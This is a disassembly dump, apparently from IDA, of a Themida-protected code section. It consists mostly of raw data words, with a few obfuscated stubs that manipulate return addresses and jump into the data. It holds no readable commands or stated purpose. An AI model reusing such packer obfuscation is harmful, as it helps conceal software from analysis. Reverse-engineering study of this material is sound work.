dd 0C3F8FB63h, 296CBD3Bh, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh
dd 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296CC68Fh
dd 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah
dd 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D24E08EFh
dd 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h
dd 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46CC683h
dd 42AD60F7h, 0A0F8FB63h, 4ECD3E39h, 0D075FD7Ah, 8E4E04EFh
dd 0CEB57E7Ch, 1A8935F1h, 0EB4E08EFh, 8E97577Ch, 43BE15B9h
dd 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h
dd 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 6F2417FBh
dd 0EAFCFB63h, 3FCF7D86h, 0E573E441h, 0F2EC7975h, 73CDFD7Ah
dd 4375FD7Ah, 474E04E8h, 0ADFCBD7Ch, 916CC687h, 79F835F1h
dd 0E36CBC5Fh, 0C9806F85h, 7FFDFB63h, 4801F3Ch, 5E75FD6Dh
dd 14887F79h, 1A35FB63h, 0D234E4E0h, 0E1B67E7Ch, 4B22FEF3h
dd 7975FD64h, 87887779h, 0ECF8FB63h, 296CBC7Dh, 2F2B5989h
dd 0CB75FD72h, 0DE8C6F85h, 0AF6FB63h, 7185897Eh, 0BC72447Ch
dd 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h
dd 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h
dd 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h
dd 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh
dd 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah
dd 2F75151Ah, 162FFD7Ah, 0D234C590h, 0E4CF707Ch, 7973E446h
dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 8E49FCE7h
dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h
dd 475FD7Ah, 6E0417FBh, 25F8FB63h, 0CD6CC17Bh, 5C7D80F1h
dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 627440F7h, 0EF46FB63h
dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F46CC17Bh, 7874C2FBh
dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h
dd 0D97440F7h, 0F3CDFB63h, 0C075FD7Ah, 0BC75FD72h, 9D145789h
dd 0EFFE3DF1h, 0AB7B78F7h, 0D08AFB63h, 3BE9CA8Bh, 60000000h
dd 20C5BD8Bh, 0EF830612h, 8BC93304h, 8320BBC1h, 0C783EDB8h
dd 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h
dd 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h
dd 16EBh, 4 dup(0)
dd 1010000h, 428h, 6A0619h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 837C77C3h, 5090A274h
dd 0BE852h, 0B38F0000h, 4E134B0Ch, 742BEA45h, 0DFC1BBEAh
dd 0F5B7C6Dh, 9E831h, 6D330000h, 6788F76Dh, 53E7A812h
dd 585A595Ah, 90CF8B50h, 0BEDF1BBBh, 60006A42h, 43D9D31h
dd 858B0612h, 612270Dh, 6A006A61h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B459C351h
dd 257C9A8h, 0D18B601Fh, 15E59529h, 81610612h, 0FE89BDD9h
dd 9F858D0Ah, 6A061943h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 1E6C355h, 1220DD8Dh
dd 0D38B5006h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 74B9C355h, 6AA6D0h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 96C35545h
dd 0DAC97532h, 1BB9B589h, 6A0612h, 2CE98D8Bh, 95FF0612h
dd 6120B55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 0B2C35747h, 0CA8BF3B9h, 5BDE9h, 0AE800h, 0EBEA0000h
dd 4B22E6A3h, 19074FD9h, 1B958D89h, 29590612h, 12244585h
dd 0E806h, 815D0000h, 1943A4EDh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C9ABEF1Bh
dd 0CF818860h, 23FD4CFDh, 2F2DB589h, 8F0F0612h, 6, 180D8D2Bh
dd 9D8B0612h, 61233B5h, 4E8h, 0FA000h, 52506000h, 310FF18Bh
dd 0AE8h, 0F2B1E400h, 8028B76Ch, 59C2DDEDh, 5061585Ah
dd 0E2B96051h, 50493391h, 5A310F52h, 8B5F6158h, 8B042444h
dd 0B6008BFEh, 2444890Eh, 0BE804h, 0D24E0000h, 0F860199Fh
dd 63621142h, 7A36BBF6h, 585943D1h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 7CC35646h, 0A3B7577Ah, 29D195FFh
dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0BAFF43C3h, 5DAF417Dh, 4224B58Dh, 6A0619h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 912AC9C3h, 0ED9589C4h, 0C706122Ah, 67655206h, 52006A6Dh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 29BEB81Dh, 10E9C758h, 23000000h, 0E2DE5E80h, 3F484709h
dd 0C2D4A6D2h, 0C78A7923h, 6E6F0446h, 6A6C63h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 5E013C3h, 77C081E4h, 0B195AF34h, 846C798h, 737361h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3EC35646h
dd 0AE082152h, 0D0F9B697h, 29E98D8Bh, 95330612h, 61229B5h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0F4DFA8C3h, 9D891DB9h, 6122A35h, 2C4D8589h
dd 858D0612h, 6194224h, 1CE98166h, 0BE950FAh, 96000000h
dd 443FAADEh, 0F3EE7BDh, 489D7FAh, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 9E411581h
dd 4E929CC4h, 0F381AB76h, 1DA3E179h, 8BD8589h, 95FF0612h
dd 6121DA1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0BFC35242h, 0E8BD775Fh, 5E890h, 6D710000h, 0E996E813h
dd 0Eh, 8F38A6AEh, 40794905h, 55699DEDh, 0B5A2502h, 4C840FC0h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0D5C2C353h, 925A457Eh, 0F88B662Ch
dd 2D2E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0B59D8BF8h, 68061225h, 10FD1EBEh
dd 3481DE8Bh, 0FD1F9224h, 58C0F10h, 0BF000000h, 4BBB224h
dd 29D195FFh, 8A600612h, 0F59D8BD0h, 6106122Fh, 4224B58Dh
dd 6A0619h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 85C824C3h, 8589BA0Dh, 6122D21h, 2A3D9529h
dd 6C70612h, 36343831h, 46C7DF8Bh, 342D3704h, 52006A31h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0FF33557h, 68Ch, 9D958B00h, 1061223h, 1226159Dh, 846C706h
dd 0
; ---------------------------------------------------------------------------
push 0
push 0
push eax
call sub_5F01F5
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F01F5 proc near ; CODE XREF: Themida_:005F01EDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5F01F5 endp
; ---------------------------------------------------------------------------
db 78h, 0F9h, 0F2h
dd 0CBEB3224h, 68A0F91h, 0B000000h, 122C99BDh, 0FD9D8906h
dd 8D061225h, 19422485h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0A84A3ABEh, 655F58Fh
dd 0AA517BBBh, 0CB8B5077h, 50240489h, 0FF5BDF8Bh, 121DA195h
dd 319D8B06h, 89061222h, 12334D8Dh, 0FC00B06h, 2D84h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0AA37B579h, 0E973ADCEh, 15Fh, 1F71B529h, 4E80612h, 2C000000h
dd 0BF000001h, 6FEB5040h, 14E850h, 5B540000h, 3A33CB7Dh
dd 0F87FBFEDh, 95CB1F4Bh, 0DA318F24h, 9E81D95h, 9C000000h
dd 8EBD55D2h, 0F08318A6h, 310F5250h, 5A59585Ah, 424448Bh
dd 8BCE8Bh, 683ABB53h, 89593064h, 50042444h, 0CA8B6652h
dd 585A310Fh, 0D6BF0F58h, 25698D89h, 95FF0612h, 61229D1h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 83C35545h
dd 0DEB70FB1h, 4224B58Dh, 66600619h, 6190C2BFh, 694606C7h
dd 9D8B656Ch, 61212C9h, 6D0446C7h, 8B636E6Fh, 1203D5BDh
dd 846C706h, 7373616Ch, 15EDB509h, 46C70612h, 0Ch, 36EFB900h
dd 6A682Fh, 8DFAD280h, 19422485h, 6690F906h, 0F50D68Bh
dd 8Fh, 0F3809000h, 8DB589BEh, 0FF06121Fh, 121DA195h, 21B96606h
dd 0FC00BF6h, 3284h, 28F0F00h, 0B3000000h, 51E9C0h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 4113F4C3h, 0A2C981ECh, 0E9757A84h, 0FFFFFAA9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h, 59B6569Dh
dd 0EDBD295Ah, 8D061231h, 127308B5h, 5E906h, 52BC0000h
dd 0B8FEB9C7h, 0
; ---------------------------------------------------------------------------
sbb ebx, 52DB80B7h
jmp esi
; ---------------------------------------------------------------------------
mov edi, [ebp+6121B6Dh]
mov eax, ecx
jmp short loc_5F042A
; ---------------------------------------------------------------------------
or [ebp+15h], bh
sub eax, 59FA54Bh
push esi
sbb ebx, eax
inc ebx
loc_5F042A: ; CODE XREF: Themida_:005F041Cj
jmp loc_5F091E
; ---------------------------------------------------------------------------
jmp loc_5F0917
; ---------------------------------------------------------------------------
dd 49967918h, 0E633DCB0h, 85D23D4Dh, 1F6CA3ECh, 0BB080786h
dd 8904EACBh, 0EBA03986h, 523ED724h, 0B7D770BDh, 0E2310B58h
dd 0F8A8ADDAh, 1BF1CE4Dh, 0BEF31C72h, 3F749BF5h, 0C5FA1576h
dd 497E91FCh, 0CD020D80h, 4F848B04h, 0D60B0486h, 5B907F0Dh
dd 21E0C5CEh, 0D43B510Ah, 0A6E6E141h, 141549F6h, 90639877h
dd 6327F025h, 0C4C65FACh, 63FE164Bh, 0BA32E362h, 3B523BA6h
dd 0F4E75433h, 891C2774h, 0B0FD1278h, 9C5B4A53h, 0E80A7D85h
dd 6E7974F4h, 5F646CDBh, 0A4770C2Fh, 0F59B6499h, 5C34CD1Ah
dd 9E577EB3h, 2F8F22EDh, 6F523307h, 0B4DD0418h, 4A7F90FBh
dd 0BDD3E477h, 9FA80552h, 3B31565Eh, 789706Ah, 0A6657008h
dd 6A3AE99Eh, 248F9A70h, 4A995D65h, 3E55727Ch, 0BB3F3BBDh
dd 0EA9AC11Ah, 7677C69Dh, 0F840D3DEh, 0EBA0B8EDh, 0CF7677C6h
dd 551E53BCh, 0DA3D837h, 0CBF3E8F9h, 7B5B32AFh, 430C2499h
dd 7C0F008Ah, 0C7Ah, 9874CC00h, 9D000002h, 0D669A6E4h
dd 0F11E72A8h, 7897F3BCh, 17CA7E43h, 0FE4BC4CCh, 25E42B65h
dd 5F81060Eh, 390247DFh, 0E9815A75h, 0FF60CB9Ah, 7C4F848Bh
dd 0AC6404E9h, 16742D4Ch, 5EF1C4F9h, 7C14CF12h, 711BD493h
dd 0F9FAFDE0h, 970210B2h, 0FFFC8F62h, 0B6EB2466h, 386DA2EDh
dd 0B23DA490h, 0BF7837D8h, 0B0AD40CFh, 8A8F00B9h, 11A40F00h
dd 5FF9CCB1h, 0B45B32E6h, 52BDCE67h, 0D837541Dh, 1DD60DA3h
dd 94679C73h, 0C12CB501h, 0D33C4FCAh, 0D2841B68h, 0AD000000h
dd 0E1749BF4h, 0C5A0AEB3h, 3F1247C8h, 0B69415D4h, 33614047h
dd 12DBC053h, 0AD46937Ch, 0E5FD32DDh, 47E039A2h, 0FB944D39h
dd 0CF74277Ah, 0FC8F1225h, 0B1709FEBh, 0E57897F8h, 0D33C4FE8h
dd 0DB345B14h, 0C14D3A6h, 47E0177Bh, 856AFD08h, 7E3DD2BCh
dd 84E472FDh, 0BF52D262h, 0B13044DAh, 6DBA5536h, 2A62B7D4h
dd 72DDB0E5h, 0F619743Dh, 7C93F8C1h, 6F182047h, 0C47DFD8h
dd 23ECA001h, 9D4458EEh, 0C51C0848h, 61AE612Ah, 8B4AC5C8h
dd 0BF52BDD2h, 94FAB3DAh, 1100E87Bh, 90C54A40h, 1146C9C7h
dd 0CC11D014h, 99548D99h, 35CE1BF4h, 74F5B45Bh, 91FA7AFCh
dd 0D684652Dh, 6B9E4972h, 21EE9F00h, 0A18619ECh, 0DFA40589h
dd 0E4FDC147h, 3B888709h, 0F11E7285h, 0B49DF3BCh, 835AAD9Ch
dd 91C631BFh, 38B32EB2h, 826AB758h, 47DFC0F0h, 80368F4Ch
dd 0EE322BCh, 35FFFFFFh, 1C0A5AEh, 0F18155F9h, 70A5B049h
dd 2A6AE7A7h, 0A94ACC63h, 0DF1416Ah, 11F6A305h, 0CEC059A6h
dd 4C430C41h, 0E4F88EC3h, 739CF2FDh, 7D92FBB4h, 3A54EDEAh
dd 688A0D5h, 0A24DF1FDh, 6628C31Eh, 0CBC35CA9h, 79820F44h
dd 31C5CD8Ch, 0ED50040Ch, 23B65934h, 2683D0DBh, 7179381Dh
dd 49F7338Eh, 945D929Dh, 2DC613FCh, 5077AC63h, 24563139h
dd 1A254DF9h, 0DE3A2787h, 10C432E3h, 9F7A16D1h, 67B41FF0h
dd 1D52BDCEh, 9ED33C54h, 255AB5D5h, 0A9DE315Ch, 647968ACh
dd 0CAC1203Ch, 0FA9FACAh, 6A1Fh, 18773000h, 723664F7h
dd 0FA8F51Ah, 0AE47947Bh, 0EAE12EE1h, 4F09A769h, 9A2DF887h
dd 0BE0B0489h, 5AA76825h, 404FCAC1h, 5CC79ACFh, 0F51A760Fh
dd 0FC137D36h, 0BBD36C69h, 1F6E0754h, 62B1BBF0h, 0F328E7A9h
dd 0DFA88D20h, 832B60AFh, 0F5E4A97h, 0DFFE8007h, 0ABF80347h
dd 83450CD1h, 0AF000000h, 5FE59F87h, 4F047DFh, 72791FDDh
dd 8A8FFF1Ah, 35A00B04h, 0D70F1E8h, 0E309E9CFh, 830718ABh
dd 0E8573038h, 192447DFh, 0C7C861AEh, 2B62FB48h, 8FFE97E4h
dd 6DC989C2h, 0F45F7C55h, 71161E35h, 1247DF82h, 82DCABB3h
dd 949F47DFh, 999629h, 13FC8E8Bh, 53A00BDEh, 4843D6BAh
dd 96BF92C7h, 85441CB2h, 5C42F4Ch, 9CD13E4Ch, 6925A0C9h
dd 104EA4D1h, 0A7E7807Dh, 3841B68h, 0EE000000h, 1F723422h
dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 53D4DB10h, 0C381E389h
dd 4, 4BD55h, 0EB290000h, 241C875Dh, 0E789575Ch, 4C781h
dd 0EF830000h, 243C8704h, 241C895Ch, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 0CF682414h, 89000038h, 5AB82404h
dd 89061949h, 8B5458C3h, 0C4812414h, 4, 51DF8957h, 4A89F989h
dd 8B5F5908h, 89522414h, 4C281E2h, 81000000h, 4C2h, 24148700h
dd 241C8B5Ch, 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h
dd 0FFF932C9h, 0E97AB626h
db 26h, 3, 0B1h
; ---------------------------------------------------------------------------
loc_5F0917: ; CODE XREF: Themida_:005F042Fj
mov eax, 6194DA1h
add eax, ebp
loc_5F091E: ; CODE XREF: Themida_:loc_5F042Aj
mov edx, ebx
lea ecx, [ebp+6194F0Fh]
push 0
push ebp
call sub_5F0931
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F0931 proc near ; CODE XREF: Themida_:005F0929p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5F0931 endp
; ---------------------------------------------------------------------------
db 20h, 5Ch, 47h
dd 665187E5h, 0F99ECE81h, 0CD8D895Fh, 8B06122Dh, 1207F5BDh
dd 0BD85C706h, 54061231h, 6A00005Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 660AC355h
dd 0C7D426BBh, 12001185h, 6, 0F2816600h, 0B5FFC5A5h, 61232E5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 61C35141h
dd 0BD297C3Bh, 6121AC9h, 278195FFh, 6A0612h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 5F3D36C3h
dd 6ABE65h, 29D195FFh, 0C08B0612h, 16607CEBh, 0C7A05DC2h
dd 0F2CA0ED7h, 105A13D7h, 0F3795A92h, 0B88AAD2Fh, 0EB0D9CD5h
dd 0C94CA05Ch, 79C388C3h, 82AD57EAh, 0B37F40DBh, 48BAEEFCh
dd 0AEB3D138h, 7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h
dd 36808BA3h, 30D8131Dh, 0E9A5E1DCh, 0AAAD4FDFh, 0ACAECF6Ch
dd 4892FEBAh, 5C51CD80h, 27CC0C06h, 0B55D49C1h, 846EFC33h
dd 0A6BE7F55h, 4E7CD448h, 5D826738h, 76E6EFE0h, 0A7E91993h
dd 0DD000000h, 750E5BB4h, 12ABF817h, 0B14A9778h, 4BE431DEh
dd 9080CD42h, 4BC4C925h, 0E92665FEh, 828D039Ch, 1DF29C35h
dd 9FA7F6D0h, 4DF8AEE8h, 26A7BE9Bh, 7C0EA5B0h, 7B396A93h
dd 9D080785h, 1D72DC0Ah, 7009BDF2h, 7831F01Fh, 0F3C6FB14h
dd 117B6360h, 0EC47DF60h, 47833887h, 3CE21D94h, 34A07247h
dd 3C84780h, 32000000h, 1F723422h, 9CF2BBF0h, 1B753E73h
dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h
dd 0FF8D568Bh, 68D4DB10h, 6194F95h, 0F930D0E9h, 80D972FFh
dd 24A8E974h, 684BD370h, 4E94ACFh, 62000000h, 0E9587729h
dd 52Ah, 59A66928h, 0F643CCC0h, 95E22D5Dh, 2F7C93FCh, 0CB18F796h
dd 7914DADBh, 0DBB04996h, 424EE734h, 0A7E780CDh, 0F2411B68h
dd 0F8AF9DEAh, 0EA01DE4Dh, 0AFBCCBD3h, 0B4BF4DF8h, 1C72F321h
dd 98F5BEF3h, 0FD912A77h, 7A14DD12h, 0F5976095h, 5C0F9A5Ch
dd 50BB9CF9h, 0D738521Bh, 9B2D9A2h, 0DFA28601h, 7FEAF547h
dd 0FAE76B4Ah, 3EA3B7E5h, 0D724EBA3h, 70BD523Eh, 9756B9D7h
dd 49C6C780h, 0DFA2EE99h, 0EF828D47h, 602AE30Ah, 7EA77AAFh
dd 0C0BEAA38h, 5061F4A7h, 0F79FD43Bh, 850BD60Bh, 0FE4ACB8Ah
dd 8721F89Eh, 379F6A93h, 53B66157h, 642AC3C0h, 5C33ECABh
dd 18AB7EB3h, 0BC731B33h, 0BB2747DFh, 0A3675F26h, 69B422BCh
dd 6000000h, 0BEF31C72h, 63ACDE97h, 68C85B2Eh, 47DF6025h
dd 0ADD60B77h, 5FF98E96h, 7F8A47DFh, 0FE077FECh, 1D422BCh
dd 26000000h, 35371A72h, 0DFADC1B1h, 9E679C07h, 0A96221EEh
dd 25F82DE2h, 0ABE4AD92h, 0DE0118A6h, 0B01BA899h, 10D1E57Bh
dd 42CDBE77h, 21EE9EAFh, 0BC533BD4h, 7EB67CFDh, 9CD61840h
dd 87BC533Bh, 6E2421B4h, 98A01B72h, 47DF5FEFh, 0E116818Ch
dd 669B7418h, 3DE0387h, 9F38858Ah, 22EB20EFh, 0A972A768h
dd 2EF72CE3h, 0EB7CB15Eh, 0C43ADFBCh, 0F579F0F5h, 90CFF7ECh
dd 0C457B8D7h, 0D2226978h, 6722BC60h, 90h, 0F41B72B9h
dd 8594F6BFh, 917E0E0Bh, 0B31E895Ch, 0DD4E87Eh, 4AC5CB84h
dd 0A9E14215h, 0CBC2D366h, 99CE414Eh, 750E5BC6h, 91273918h
dd 3C1082CFh, 0B386BB54h, 0DFA8DD48h, 1FA05FB0h, 9A2F25C7h
dd 84D95CA1h, 41DBB2DBh, 0D16146D9h, 1D652CB5h, 0AA22BC14h
dd 66h, 0F41B72FCh, 7F9AF6BFh, 99144011h, 0CE36E6E2h, 0F05B2E63h
dd 677ABEBBh, 0E42B651Eh, 3C6A1D25h, 0E1947E0h, 0EC236A7Bh
dd 0F41B742Dh, 8EC3ECBFh, 245B689Bh, 13C9C659h, 8DFF1A72h
dd 0F7A4D82h, 56313950h, 5C47DF5Fh, 3A45DD32h, 2459B6D9h
dd 0C1D9BE51h, 47DF5FCDh, 98061CDh, 22BCFE89h, 15Eh, 5B14B000h
dd 3748DB34h, 0BE87BC53h, 410A3FD0h, 0C48DC24Dh, 491247C8h
dd 0C295CA45h, 0E3F8E92Dh, 0BF2AB7A3h, 0F744CBh, 7E20787Fh
dd 0A336D47Eh, 21E0C5CEh, 54E72868h, 7915CEE5h, 0F8986196h
dd 0A40FE217h, 90C54A43h, 34CA2ABDh, 1349F1FEh, 0B5DBACB4h
dd 49A84DF1h, 0F1B54641h, 0BF2A354Dh, 3FF81F54h, 0BA8DC24Dh
dd 97781627h, 32DDB14Ah, 0B5A8E5FDh, 9EE24DF1h, 0D5E6A843h
dd 0F1B5BACDh, 53BEC94Dh, 0EE216D06h, 951192B9h, 0FCB461B0h
dd 218C830Ah, 0FE117D8Eh, 7B66EAC9h, 0DE315912h, 3243D6A9h
dd 7166B35Ch, 24AE5D11h, 121C6h, 8256D700h, 0DB0C74CCh
dd 0AEE715A8h, 0EA01C0A5h, 523EA469h, 53E6B9CEh, 0F1D72FF3h
dd 0BEF3FE49h, 0B77699F5h, 4E838CFEh, 52EBE87Bh, 0D59ED33Ch
dd 8DFA02B9h, 0EE4DF1D8h, 0AC654A25h, 0A61136A3h, 90C54A45h
dd 3E1D52BDh, 0D2BC27BAh, 3CA6E1E9h, 0CAD54DF2h, 41B125Fh
dd 1ACA454Bh, 4DF23C6Dh, 370030Eh, 24AE2383h, 4958h, 0A4AEAA00h
dd 6FF800BFh, 8CC7DF5Fh, 53344C81h, 6BC7DF5Eh, 0E0612AB7h
dd 0ED9F131Fh, 9E0DF922h, 353F14A7h, 71DC335Ah, 0A3BDAAB2h
dd 0DE9747DEh, 0EC236CADh, 0E6794C81h, 0AF46939Eh, 76h
dd 0EE6B57D8h, 0A96AA8Bh, 0A5AE4977h, 55F901C0h, 8949F181h
dd 0E7790F08h, 0B346836Eh, 0E8A1606Bh, 613469A6h, 6E20E9CEh
dd 0D3BB54A1h, 9DEF073Ch, 934DF188h, 3757924Fh, 252E8BD8h
dd 55798140h, 0B05008DAh, 0DA3E4951h, 323D47EAh, 0B26B92C7h
dd 90A134DBh, 0C03253FEh, 3BE679C4h, 0ED13747Ch, 657047EAh
dd 311DC5FAh, 796871B0h, 3D1CB2BAh, 606B4A02h, 0FD145D13h
dd 0DF5F92F5h, 53E6F147h, 0D190757Eh, 0F6B005C9h, 0C0F50049h
dd 0B97897F7h, 0F6B10038h, 0E8A7E317h, 2C29BC27h, 5514FB93h
dd 0E851363Eh, 27324DF8h, 0C997AF94h, 9EE7C75Bh, 28C578Ah
dd 6727C00Dh, 553B4C54h, 3D48A057h, 629213D2h, 0FEB894DEh
dd 5D8469FCh, 5932E7A4h, 43164BB6h, 1FF09FB0h, 7A3342EAh
dd 1B67FA15h, 9C731BC6h, 37D8B64Fh, 0BCC4DB02h, 0A05704CBh
dd 3BD4B7B8h, 9C83306h, 57048601h, 57EAF5A0h, 348h, 3422B200h
dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch
dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh, 7BC868D4h
dd 4890000h, 0B7E6824h, 34890000h, 0E6895624h, 4C681h
dd 0EE830000h, 24348704h, 241C895Ch, 19504A68h, 24348B06h
dd 5404C483h, 83241C8Bh, 0EC8104C4h, 4, 8F243489h, 1C8B0843h
dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5E2434FFh
dd 4C481h, 92E90000h, 1BFFF92Bh, 14622C3h, 7B88C80h, 3061955h
dd 0D1E0FFC5h, 0D57CDDCEh, 0CB6570D9h, 0CB2CC153h, 0B1104D71h
dd 0F74A10Bh, 0D727BDA3h, 86129ED1h, 0CB7AA4D8h, 22255CC0h
dd 3E5D9E98h, 9C52FB61h, 2C22CBAFh, 0D172EEA1h, 7F7B6BECh
dd 0DA578A73h, 931CF58Ch, 0FD4E7C14h, 564F2EFh, 8D69C015h
dd 1956828Dh, 46D78106h, 0F96B7FF9h, 2DCD8D89h, 6A0612h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0DA8DBAC3h, 27D97379h, 0C773C204h, 1231BD85h, 6CEC06h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 7793D43Dh, 0C7F50F91h, 12001185h, 6, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0F0125F74h, 0B48032E3h, 0A5B5FF74h, 0E9061229h, 0Ah
dd 595AF29Fh
dd 59783F6Eh, 95FFCCFCh, 6122781h, 8AD1B70Fh, 0FF006ADAh
dd 1229D195h, 0EBC08B06h, 94AD295Ch, 140C4E68h, 0C999F4FFh
dd 29795056h, 37E7AC31h, 88E994ECh, 0A69C1839h, 859DF1CEh
dd 6D96080h, 9DFC98A7h, 0DBBD9022h, 0CCD36315h, 59CBB35Ch
dd 0F186BD9Dh, 692BB5C5h, 4979305Bh, 539D5F25h, 42E568F1h
dd 0F63EBC7Ch, 2A8D0AE9h, 4B8516FDh, 546A8DCAh, 87F8CB84h
dd 0EE8D6h, 7AB80000h, 3039309Bh, 93612477h, 0F2767772h
dd 8FA7CDBAh, 8B665868h, 0E5C081D7h, 81000061h, 2F711CDAh
dd 18506806h, 8D010000h, 61215D5h, 7E85Eh, 9EE90000h, 3084ABFCh
dd 0BE950E8h, 53000000h, 0CC1CDF00h, 0AA9EAF57h, 595AFD7Fh
dd 816630FFh, 5FE620EAh, 473EF281h, 0C7817E68h, 2C65C13Ch
dd 38F0Fh, 0E7800000h, 5FC781ADh, 665CA232h, 0D0D0EA81h
dd 9C6AC781h, 8E9528Ch, 0E9000000h, 0A4B813FDh, 893A3D33h
dd 0E18D3338h, 83061221h, 0C28004E8h, 1EE8122h, 0F000000h
dd 0FFFFAB85h, 0E18531FFh, 0E8061203h, 0Eh, 15E8E865h
dd 0B9CFAD92h, 1D8C9BB6h, 8B5733A1h, 1226DDBDh, 0F595F06h
dd 0C181F1BFh, 631Eh, 189B68F9h, 8B500000h, 1230F5B5h
dd 66585A06h, 19E8DF81h, 9D89198Bh, 61211D9h, 7C53C381h
dd 0BD01788Fh, 61224A9h, 8EDCC381h, 81661290h, 810ABAD2h
dd 96773AC3h, 0CE913h, 79100000h, 0E0D2A969h, 383034CAh
dd 19893A69h, 1C65BD89h, 0E9810612h, 4FCBA5C9h, 81F18B66h
dd 0CBA5C5C1h, 195314Fh, 8306121Dh, 850F01E8h, 18h, 1479958Bh
dd 1BE90612h, 0D2000000h, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h
dd 0E9D6B70Fh, 0FFFFFF84h, 32394290h, 0CAFEB9AEh, 0A80EB614h
dd 8A4A3EEBh, 0A80EB753h, 75EAD5ABh, 0A80EB72Bh, 8A4A3F91h
dd 57AE5DBAh, 8A4A3C4Eh, 0A80EB41Bh, 75EAD5ABh, 0A80EB4E2h
dd 8A4A3CBCh, 0A80EB56Ch, 8A4A3D3Eh, 0A80EB5E6h, 75EAD5ABh
dd 0DFD42F25h, 313330Dh, 0B109ECC0h, 6F90A752h, 2157BB1Ch
dd 934D78D1h, 94D42F43h, 313330Eh, 0B109F4C0h, 1E90A752h
